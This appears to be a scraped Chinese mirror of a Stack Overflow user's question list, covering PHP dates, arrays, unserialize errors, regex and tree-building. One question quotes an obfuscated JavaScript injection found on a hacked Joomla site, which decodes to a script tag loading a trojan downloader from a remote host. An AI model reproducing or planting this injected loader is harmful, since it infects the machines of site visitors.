小编mic*_*usa的帖子

在PHP中添加$ Date日期

我有一个日期作为mySQL查询的一部分返回在表单中 2010-09-17

我想将变量$ Date2设置为$ Date5,如下所示:

$Date2 = $Date + 1

$Date3 = $Date + 2

等等..

所以它返回2010-09-18,2010-09-19等...

我试过了

date('Y-m-d', strtotime($Date. ' + 1 day'))
Run Code Online (Sandbox Code Playgroud)

但是这给了我之前的日期$Date.

以"Ymd"格式获取我的日期的正确方法是什么,以便它们可以在另一个查询中使用?

php date

195
推荐指数
8
解决办法
39万
查看次数

106
推荐指数
12
解决办法
8万
查看次数

这个烂摊子怎么样?

我的Joomla!网站一再被黑客入侵.不知何故,有人设法将以下垃圾注入关键的php脚本,但我的意思是不要谈论配置Joomla.该网站访问量不大(有时我担心我可能是该网站的唯一访问者...)而且我并不关心网站是否备份和运行.我最终会处理这件事.

我的问题是,这种垃圾是如何运作的?我看着它,我只是看不出它如何造成任何伤害?它的作用是尝试下载一个名为ChangeLog.pdf的PDF文件,该文件感染了一个木马,打开后会冻结你的Acrobat并对你的机器造成严重破坏.它怎么做,我不知道,我不在乎.但是下面的脚本如何调用下载?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
Run Code Online (Sandbox Code Playgroud)

ESET已将此代码检测为JS/TrojanDownloader.Agent.NRO木马

javascript joomla code-injection malware

99
推荐指数
5
解决办法
6399
查看次数

连续重复词的正则表达式

我是一个正则表达式新手,我无法弄清楚如何编写一个能够"匹配"任何重复连续单词的正则表达式,例如:

在巴黎的的春天.

并非是相关的.

你笑什么?是我的我的正则表达式不好?

是否有一个正则表达式将匹配上面的所有粗体字符串?

regex duplicates capture-group

99
推荐指数
7
解决办法
8万
查看次数

在array_filter()之后,如何将键重置为从0开始的数字顺序

我只是使用array_filter从数组中删除只有值''的条目,现在我想根据从0开始的占位符对它应用某些转换,但不幸的是它仍然保留原始索引.我找了一会儿,看不到任何东西,也许我只是错过了明显的,但我的问题是......

如何轻松地重置数组的索引从0开始并按顺序在新数组中,而不是保留旧索引?

php arrays filter reindex

93
推荐指数
4
解决办法
4万
查看次数

unserialize()[function.unserialize]:偏移时出错

我正在使用Hotaru CMS和图像上传插件,如果我尝试将图像附加到帖子,我会收到此错误,否则没有错误.

违规代码(错误指向**):

/**
     * Retrieve submission step data
     *
     * @param $key - empty when setting
     * @return bool
     */
    public function loadSubmitData($h, $key = '')
    {
        // delete everything in this table older than 30 minutes:
        $this->deleteTempData($h->db);

        if (!$key) { return false; }

        $cleanKey = preg_replace('/[^a-z0-9]+/','',$key);
        if (strcmp($key,$cleanKey) != 0) {
            return false;
        } else {
            $sql = "SELECT tempdata_value FROM " . TABLE_TEMPDATA . " WHERE tempdata_key = %s ORDER BY tempdata_updatedts DESC LIMIT 1";
            $submitted_data = …
Run Code Online (Sandbox Code Playgroud)

php mysql serialization content-management-system

92
推荐指数
7
解决办法
21万
查看次数

PHP对象与数组

我有一个神经网络的大量PHP对象,我必须迭代它并执行一些数学运算.我想知道我是否会更好地在类的实例上使用关联数组?

我正在处理周围的3640对象并在此基础上迭代500(最好),因此任何微优化都有很大帮助.它不可避免地会$object['value']比这更快$object->value吗?

编辑:所以他们都是一样的.但我想构造函数会有一点开销吗?无论哪种方式,我都不认为我想在我的漂亮类中交换脏数组:P

php arrays optimization object

83
推荐指数
5
解决办法
6万
查看次数

PHP数组键重新排序

我的数组看起来像这样:

array(
  0 => 'val',
  2 => 'val',
  3 => 'val',
  5 => 'val',
  7 => 'val'
);
Run Code Online (Sandbox Code Playgroud)

如何重新排序按键以便它会像0, 1, 2, 3, 4

php arrays

55
推荐指数
3
解决办法
8万
查看次数

检查一个数字是否可被6 PHP整除

我想检查一个数字是否可被6整除,如果不是,我需要增加它直到它可以被整除.

我怎样才能做到这一点 ?

php modulus

50
推荐指数
3
解决办法
10万
查看次数

从数组列表创建数组树

我有一个这样的列表:

array(
  array(id=>100, parentid=>0, name=>'a'),
  array(id=>101, parentid=>100, name=>'a'),
  array(id=>102, parentid=>101, name=>'a'),
  array(id=>103, parentid=>101, name=>'a'),
)
Run Code Online (Sandbox Code Playgroud)

但是更大,所以我需要一种有效的方法将它变成像这样的结构树:

array(
  id=>100, parentid=>0, name=>'a', children=>array(
    id=>101, parentid=>100, name=>'a', children=>array(
      id=>102, parentid=>101, name=>'a',
      id=>103, parentid=>101, name=>'a',
    )
  )
)
Run Code Online (Sandbox Code Playgroud)

我不能使用像嵌套集或像becoas这样的东西,我可以在我的数据库中添加左右值.有任何想法吗?

php arrays tree recursion

43
推荐指数
5
解决办法
8万
查看次数